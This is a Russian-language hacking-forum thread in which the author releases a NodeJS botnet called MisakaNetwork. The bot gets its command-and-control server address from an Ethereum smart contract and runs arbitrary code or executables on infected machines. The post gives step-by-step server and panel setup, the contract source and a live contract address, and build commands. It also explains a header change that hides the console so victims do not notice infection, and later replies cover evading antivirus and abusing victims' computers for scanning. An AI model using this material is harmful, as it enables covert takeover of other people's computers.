• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья [MisakaNetwork] Win Botnet на NodeJS с получением C2 сервера через блокчейн.

celty

психические расстройства
Забанен
Регистрация
12.04.2023
Сообщения
1 300
Реакции
869
Гарант сделки
1
Пожалуйста, обратите внимание, что пользователь заблокирован
Долго думал, что мне с этим сделать, в итоге решил просто выложить.

Опишу кратко: это ботнет(если можно таковым назвать) на NodeJS сам стаб(клиент) не содержит IP адреса для общения с сервером, C2 сервер он получает через публичные RPC ноды в блокчейне Ethereum обратившись к контракту в котором вызывает метод getString(address), суть стаба заключается только в одном, он после получения C2 сервер выполняет JS код от сервера, т.е функционал бота полностью зависит от сервера и его логики без перекомпиляций всего билда, потому что NodeJS это JIT платформа которая позволяет компилировать и исполнять код сразу.

Сам же пользовать может либо пользоваться своим контрактом который задеплоит, либо контрактом других пользователей ибо я решил что не каждый захочет за деплой контракта платить 20 - 100$(зависит от нагрузки сети). В контракте есть только 1 записывающий метод, это setString(string) в который и передается наш C2 сервер, при установке строка записывается к вашему адресу кошелька, т.е при вызове getString с переданным аргументом в виде вашего адреса кошелька контракт вернет вашу сохраненую строку. Строку можно менять в любом моменте, по этому блокировка сервера это не повод потери ваших ботов, вы просто покупаете новый сервер и устанавливаете уже новый сервер в контракте. В коде стаба контракт проверяется раз в 10 минут, это означает что если вы поменяли сервер в контракте, то ваш бот вернется примерно через 10 минут.

Сервер же написан на NestJS, Фронтенд написан на NextJS. Зачем я юзнул эти фреймы? я хз, просто...

Ладно начнем с установки сервера. Я же привык использовать на Debian 12 в качестве сервера, по этому будет гайд под него.

Вы купили сервер, после того как вы зашли на наш чистенький сервер нам нужно будет обновить пакеты и установить NodeJS.

Код:
apt update

Так обновили пакеты, теперь надо установить NodeJS, я предпочитаю делать NVM скриптом.


Код:
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.1/install.sh | bash

После того как установили скрипт перезапускаем терминал и выполняем следущие команды
Код:
nvm install 20
nvm use 20

После установки ноды нужно проверить установилась ли она, можно командой "node -v", при коректной установке выдаст версию ноды.
node -v
v21.7.1

Теперь давайте установим ProcessManager 2 (pm2), вводим команду
Код:
npm i pm2 -g

Таккк, теперь устанавливаем наш бекенд, закидываем сурс бека "botnet-server" на сервер, в моем же случаее /root/botnet-server
После переходим в папку с сурсом и устанавливаем модули.

Код:
cd botnet-server
npm i
После того как установи модули, нужно настроить нужные нам конфигураций.
Первым делом сменим в сурсах порт на тот который мы хотим, в моем случаее я меняю 3001 на 1228.

В файле "botnet-server/src/main.ts"
Код:
Я меняю
await app.listen(3001);

на

await app.listen(1228);

вы же придумайте свое, не нужно копировать точь в точь.

После давайте куда то запишем наш endpoint к примеру. Вы же знаете IP своего сервера?
Допустим 127.0.0.1 ваш ип сервера на который вы устанавливаете. И порт который вы придумали, в моем случаее 1228.
Это наш ендпоинт: http://127.0.0.1:1228

Дальше нужно в одном файле изменить переменную на наш ендпоинт чтоб скрипты для клиента генерировались с нашим ендпоинтом.

Переходим в "botnet-server/src/client-api/client-api.service.ts" и меняем
Код:
const ServerIp = "http://localhost:3001";

на

const ServerIp = "http://127.0.0.1:1228";

Ну то что я писал выше про endpoint

Теперь идем менять секретку для JWT токена чтоб вашу панель не взломали.
идем сюда "botnet-server\src\auth\constants.ts"
Код:
export const jwtConstants = {
    secret: 'SECRET',
  };

МЕНЯЕМ НА !!!!

export const jwtConstants = {
    secret: 'FJIfmdisojf90j930wofejdsiofjwejdo2wsx',
  };

ПРИМЕРНО ЭТО!!! НО НЕ СТОИТ ИСПОЛЬЗОВАТЬ МОЕ НЕ В КОЕМ ССЛУЧАЕЕЕ, ТАМ УЖЕ СВОЙ 100 КИЛОМЕТРОВЫЙ ТЕКСТ ГЕНЕРИРУЙТЕ

Так ну и теперь логин и пароль нужно для входа поменять.
Переходим в "botnet-server\src\admin-config.ts" и там уже меняете на свои креды, думаю не тупые разберетесь.
Код:
export default  {
    "username": "root",
    "password": "pass"
}

Вообще обьясняю как тупым я хз, я сам тупой, я вообще текст нормально не умею писать по этому я этот высер оставлю по середине инструкций.


Так ну вроде ничего не забыл, теперь билдим проект и запускаем бек.
Код:
npm run build
pm2 start --name "backend" npm --  start

Так переходим к фронту, закидываем файлы на хост. "botnet-frontend"

Переходим в проект и устанавливаем модули:
Код:
cd botnet-frontend
npm i

После идем менять порт, открываем в этом проекте прям в корне, ладно путь приложу "botnet-frontend\package.json"
В нем я хочу изменить порт 3000 к примеру на 1229. Это уже наша веб панель.
Поэтому:
Код:
  "scripts": {
    "dev": "next dev -p 3000",
    "build": "next build",
    "start": "next start -p 3000",
    "lint": "next lint"
  },

меняем на

  "scripts": {
    "dev": "next dev -p 1229",
    "build": "next build",
    "start": "next start -p 1229",
    "lint": "next lint"
  },

после идем менять endpoint для api. Переходим в "botnet-frontend\src\api.ts"
Код:
меняем


const apiHost = "http://localhost:3001";

на наш ендпоинт бекенда


const apiHost = "http://127.0.0.1:1228";

Потом в терминале вводим наш заветный подымательский скрипт билда и запуск сервера.
Код:
npm run build
"pm2 start --name "frontend" npm --  start"

И сервер должен встать если вы порты открыли, переходим по нашему веб ендпоину http://127.0.0.1:1229/login
и видим что нас встречает логин страница
1727166179162.png


Вводим логин и пароль который мы задали и попадаем в панель.

1727166317398.png

Панель пока умеет только 2 таска давать, это выполнять JS код у клиента что дает делать на пк клиента что хочешь, и загрузку exe файла по прямой ссылке.
1727166436960.png

1727166490686.png


Так теперь вопрос обстоит со стабом и контрактом, так как я не придумал куда впихнуть кнопку перехода на страницу с настройкой C2 сервера в контракте, я просто перехожу по пути http://127.0.0.1:1229/web3 , после перехода мы видим такую картину:

1727166727602.png


Имейте ввиду, чтоб установить C2 сервер в контракт у вас должен быть Metamask кошелек в браузере, и немного шекелей чтоб оплатить комсу в блокчейне ибо транзакций к сожалению в блокчейне не бесплатные.

Так, подключаем кошелек, вставляем наш контракт в первое поле, жмем Initialize Contract, и в нижнем поле указываем наш endpoint "http://127.0.0.1:1228" и после жмем Send String и наконец подписываем нашу транзу.
1727167103173.png

Должно быть так. Ладно переходим к сборке билда. Заранее скажу чтоб билд собралься коректно, установите visual studio и пакеты которые на скрине.

1727167267410.png

Переходим к сборке, она будет на винде как вы догодались по скрину. Для этого устанавливаем NodeJS https://nodejs.org
Переходим в сурсы клиента и в index.js меняем наш адрес контракта и кошелек с которого устанавливали C2 сервер.
Код:
const contractAddress = "CONTRACT_ADDRESS"; // Сюда ваш контракт
const WalletOwner = "WALLET_ADDRESS"; // Сюда ваш адрес кошелька

на ваш

const contractAddress = "0xa1b40044ebc2794f207d45143bd82a1b86156c6b"; // Сюда ваш контракт
const WalletOwner = "0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84"; // Сюда ваш адрес кошелька

Примерное должно выглядеть так.

Потом устанавливаем глобально 2 модуля, они нам пригодятся для сборки и еще дополнительные модули.
Код:
npm i -g pkg
npm i -g @vercel/ncc
npm i

и уже билдим наш exe ноды =)

Код:
ncc build -o build/lib index.js && pkg --target node18-win-x64 -o build/node.exe ./build/lib/index.js

После билда мы увидим наш сбилженый файл в build/node.exe

Но это еще не все, так как это консольноше приложение и юзер будет его видеть, нам нужно поменять ему Header на GUI приложение, качаем malcat, запускаем его, и кидаем в него наш сбилженый файл.

И ставим так же как на скрине, тогда у нас никакой консольки не будет, и юзер не будет подозревать что он ботик.

1727168629814.png


Ну так теперь о контракте, если вам не хочется создавать свой или нет денег на деплой контракта можете юзать мой публичный, все равно там такой код контракта что я с ним сделать ничего не могу и украсть тоде. Либо идите на https://remix.ethereum.org/ и деплойте контракт.

Сам контракт адрес: 0xa1b40044ebc2794f207d45143bd82a1b86156c6b
Код контракта:

Код:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return 18;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract CustomERC20 is ERC20 {
    mapping(address => string) private _storedStrings;

    event StringChanged(address indexed account, string newString);

    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}

    function setString(string memory newString) public {
        _storedStrings[_msgSender()] = newString;
        emit StringChanged(_msgSender(), newString);
    }

    function getString(address account) public view returns (string memory) {
        return _storedStrings[account];
    }
}

Все сурсы приложу в архиве к прикрепленным файлам, так же пишите какие баги и недочеты, код не идеален и писал я его на отьебись, чтоб просто где то лежал. Так же текст на ошибкби не проверял, лень весь мой бред перечитывать.
 

Вложения

  • MisakaNetwork.zip
    364.4 КБ · Просмотры: 123
Пожалуйста, обратите внимание, что пользователь заблокирован
Так же детекты рантайма:
1727170691488.png
 
Так же детекты рантайма:
Посмотреть вложение 95678
Кстати, кто занят выбором антивируса, можете вот смотреть на подобные таблицы и кто что детектит, это один из лучших способов выбрать себе антивирь.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кстати, кто занят выбором антивируса, можете вот смотреть на подобные таблицы и кто что детектит, это один из лучших способов выбрать себе антивирь.
Лучший способ его выпилить, всю жизнь сижу без него
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А так же хочу дополнить, JS интепритируемый язык и код билда вы можете милиард методами обуфцировать что держать по кд чистым, на вт 3 месяца ботам, 1 детект
 
Лучший способ его выпилить, всю жизнь сижу без него
На линукс его как правило нет :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На линукс его как правило нет :)
На линуксе существуют антивирусники как раз таки
 
На линуксе существуют антивирусники как раз таки
Я знаю, но вот по дефолту они не стоят никогда, а в винде - дефендер сразу, ну разве что в китайской версии его выпилили сами микрософты, политика такая.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я знаю, но вот по дефолту они не стоят никогда, а а винде - дефендер сразу, ну разве что в китайской версии его выпилили сами микрософты, политика такая.
В windows 7 нету)
 
В windows 7 нету)
Ну ты меня по понятиям ещё начни разводить) что за детский сад? Или ты не понял про что я?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ну ты меня по понятиям ещё начни разводить) что за детский сад? Или ты не понял про что я?
Чувак ну какие понятия, я не из тех чтоб по каким то выдуманным понятиям жить, у меня свой мир и свое мировозрение которое никому не понять.
 
Чувак ну какие понятия, я не из тех чтоб по каким то выдуманным понятиям жить, у меня свой мир и свое мировозрение которое никому не понять.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Пожалуйста, обратите внимание, что пользователь заблокирован
ну ты и усложнил конечно, зачем использовать блокчейн эфира и платить за деплой смарт контракта, за каждую транзакцию, если делать децентрализированную систему бота, в чем я так понимаю цель, можно использовать IPNS (IPFS), и тогда у тебя будут все плюсы блокчейна и бесплатно, в любом случае любой идентификатор доступа к данным c2, будь это IPNS домен, или адрес кошелька в эфире, в итоге будет под детектом от дефендера в памяти если мы говорим за винду, если цель была сделать бота с получением с2 через сеть EVM, можно было использовать полигон, там комиссия копейки, но все это в итоге не масштабируется :)
IPFS могут банить спокойно, в отличий RPC, сеть ты можешь использовать любую, там переписать не трудно, это на твое усмотрение, мне больше нравится ETH потому что он более стабильный и вообще родитель EVM. Адреса кошельков менять можно, да и pkg компилирует в bytecode v8 движок трудней разобрать, да и мне кажется глупо вносить отдельные адреса в бд дефендера. И по поводу не маштабируется, весь код идет от сервера, ты на пк юзера можешь делать все что захочешь, ты можешь к примеру превратить его машину в скан завод. Вот к примеру у меня на ботах я развернул sqlmap который сканируют мне рандомные сайты, и отправляют мне найденые иньекций. Я по приколу устанавливал ffmpeg им на пк и запусках стримы на их канале и смотрел, и все благодаря JS. Ты можешь маштабировать как только хочешь, все зависит от твоих мыслей.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
ну ты и усложнил конечно, зачем использовать блокчейн эфира и платить за деплой смарт контракта, за каждую транзакцию, если делать децентрализированную систему бота, в чем я так понимаю цель, можно использовать IPNS (IPFS), и тогда у тебя будут все плюсы блокчейна и бесплатно, в любом случае любой идентификатор доступа к данным c2, будь это IPNS домен, или адрес кошелька в эфире, в итоге будет под детектом от дефендера в памяти если мы говорим за винду, если цель была сделать бота с получением с2 через сеть EVM, можно было использовать полигон, там комиссия копейки, но все это в итоге не масштабируется :)
Тем более ты можешь юзать паблик контракт, платить не обязательно за деплой. Тем у кого нет на деплой могут использовать мой контракт, который я оставил или контракт иного человека
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И я не думаю что дефендер под рантайм ноды адаптирован и будет прям детектить адрес, это же JS интепритируемый язык. Че тогда дефендер будет детектить везде где имеется этот контракт в памяти?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
тут надо юзать не то что нравится, а то что будет дешевле и не позволит потерять всех ботов через пару месяцев
Мои боты живут 3 месяца на 1 билде, серваки банили, я их менял. Дешевле? К сожалению не все можно без денег сделать.
если он используется в чем то кроме малвари, они сделают больше условий для срабатывания, либо забьют х#й на false positive, и будет детект на контракт
Время покажет.
ну так и домены менять можно, зачем тебе тогда децентр. сеть если ты сразу домен поменять можешь 😅
Домены ты будешь менять в билде, а вот по твоему разве забанят публичные RPC которые использует Metamask к примеру? Другие приложение скрипты?

На мой взгляд твой подход все равно кажется хуже чем мой. А мнение я поменяю когда покажешь на практике
 
Тоже задумывался над хранением айпишника в блокчейне, но было лень делать

вроде в BTC транзакции есть поле OP_RETURN размером 80 байт, и теоретически можно хранить в нем
 
Пожалуйста, обратите внимание, что пользователь заблокирован
MisakaNetwork v0.0.1(бля не знаю нахуй я вообще написал ВЕРСИЯ НОЛЬ точка НОЛЬ точка ОДИН)

Теперь клиент не только на windows есть, но и на linux(ГНУ ЛИНУкС) и macos(максос).
Добавлен терминал с которым можно взаимодействовать и который поддерживает свою сессию. (Текст у него немного выезжает но мне лень было верстать)
1729571153258.png

Минус в том что runFile команда работает только на Windows, мне лень было переписывать ее. Надо js кодом скачаете разницы как по мне нет =)
Команда для билда всех платформ
Код:
ncc build -o build/lib index.js && \
pkg --target node18-win-x64 -o build/node-win.exe ./build/lib/index.js && \
pkg --target node18-linux-x64 -o build/node-linux ./build/lib/index.js && \
pkg --target node18-macos-x64 -o build/node-macos ./build/lib/index.js

Измененые файлы:
botnet-client/index.js
botnet-frontend/src/app/panel/page.tsx
botnet-frontend/src/api.ts
botnet-server/src/botScripts/init.js
botnet-server/src/client-api/client-api.controller.ts
botnet-server/src/client-api/client-api.service.ts
botnet-server/src/user-api/user-api.controller.ts
botnet-server/src/user-api/user-api.service.ts

Добавленые файлы:
botnet-server/src/botScripts/runTerminal.js

Чтоб терминал работал поменяйте апи сервера на ваш в этой строке
botList[botId].tasks.push(await runTerminalScript("http://localhost:3001", botId));
по этому пути
botnet-server/src/user-api/user-api.service.ts

Могут быть баги ибо я нихера не проверял так что пишите тут
 

Вложения

  • MisakaNetwork v0.0.1.zip
    368 КБ · Просмотры: 69


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх